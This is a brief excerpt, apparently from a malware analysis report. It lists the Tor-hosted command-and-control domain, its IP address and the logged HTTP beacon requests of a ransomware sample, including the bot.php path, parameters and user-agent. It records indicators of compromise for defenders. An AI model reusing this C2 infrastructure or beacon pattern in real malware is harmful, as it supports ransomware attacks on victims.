The Ransomware is hosted with Tor. Domain Address Country qbstdn6k7iivyki2.onion.direct 5.135.181.100 France HTTP Requests : 5.135.181.100:80 (qbstdn6k7iivyki2.onion.direct) GET /lending/bot.php?name=4m4qn8F4804DA9-83EC&kod=tFpJtvsF^lUPeqDDzAQnkOeFfH]zSstunSA[dotBceHrJvZpTz&pid=2 GET /lending/bot.php?name=4m4qn8F4804DA9-83EC&kod=tFpJtvsF^lUPeqDDzAQnkOeFfH]zSstunSA[dotBceHrJvZpTz&pid=2 HTTP/1.1 Host: qbstdn6k7iivyki2.onion.direct Keep-Alive: 300 Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; Synapse)Read more...